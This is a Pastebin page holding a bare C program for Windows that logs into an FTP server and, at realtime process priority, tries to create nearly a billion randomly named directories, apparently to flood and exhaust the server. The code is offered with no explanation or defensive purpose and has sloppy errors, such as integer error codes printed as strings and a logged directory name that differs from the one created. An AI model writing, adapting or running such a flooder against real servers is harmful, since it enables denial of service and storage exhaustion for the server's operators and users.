Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <stdio.h>
- #include <wininet.h>
- #include <time.h>
- #pragma comment(lib, "wininet.lib")
- char *randstr() {
- int i,len;
- char *res;
- char *szRandomize = "abcdefghijklmnopqrstuvwxyz1234567890";
- len =(rand()+8)%20;
- res =(char*)malloc(len+1);
- res[len] = 0;
- for (i=0; i<len; i++)
- res[i] = szRandomize[rand()%strlen(szRandomize)];
- return res;
- }
- int main()
- {
- HINTERNET hInternet, hConnect;
- srand(time(0));
- hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
- if(hInternet != NULL){
- hConnect = InternetConnect(hInternet, "127.0.0.1", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
- if(hConnect != NULL){
- if(FtpSetCurrentDirectory(hConnect, "/") == FALSE){
- printf("Error on function: FtpSetCurrentDirectory(), Error-code: %s\n", GetLastError());
- }else{
- SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
- for(int i=0; i<999999999; i++){
- printf("Creating directory (%i): %s\n", i, randstr());
- FtpCreateDirectory(hConnect, (LPCSTR)randstr());
- }
- }
- }else{
- printf("Error on function: InternetConnect(), Error-code: %s\n", GetLastError());
- }
- }else{
- printf("Error on function: InternetOpen(), Error-code: %s\n", GetLastError());
- }
- InternetCloseHandle(hConnect);
- InternetCloseHandle(hInternet);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement